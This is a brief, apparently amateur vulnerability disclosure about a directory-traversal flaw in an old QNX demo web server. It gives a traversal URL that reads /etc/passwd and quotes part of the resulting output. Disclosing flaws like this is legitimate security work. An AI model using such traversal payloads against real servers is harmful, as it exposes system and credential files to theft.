Local file retrieving in QNX Internet Appliance Toolkit http-daemon (web.server)
Vendor-URL: http://www.qnx.com Description: --====-- I recently found a 3,5"-disk labeled with QNX-demo on my desk. This is the "Take the 1.44M Web Challenge!"-disk I got it in 1998. I couldn't find the demo on the qnx-website, but i found it on another site: http://public.planetmirror.com/pub/qnx/demodisk/ (v4.00) Anyway, the webserver doesn't check the url's, so you can view any text-file on the diskette. Affected (and tested) versions: --========-- v1.1 Modem v3.03 Network v4.00 Network v405 Modem v405 Vulnerability: --====-- The document-root of the webserver is /usr/httpd, so type this URL in the embedded webbrowser: http://127.1/../../etc/passwd and you'll see the /etc/passwd: root::0:0:/usr/httpd:/bin/sh bin::1:0:/bin: Thanks for reading, greets to all, Michael P.S.: This is my first vulnerability :-)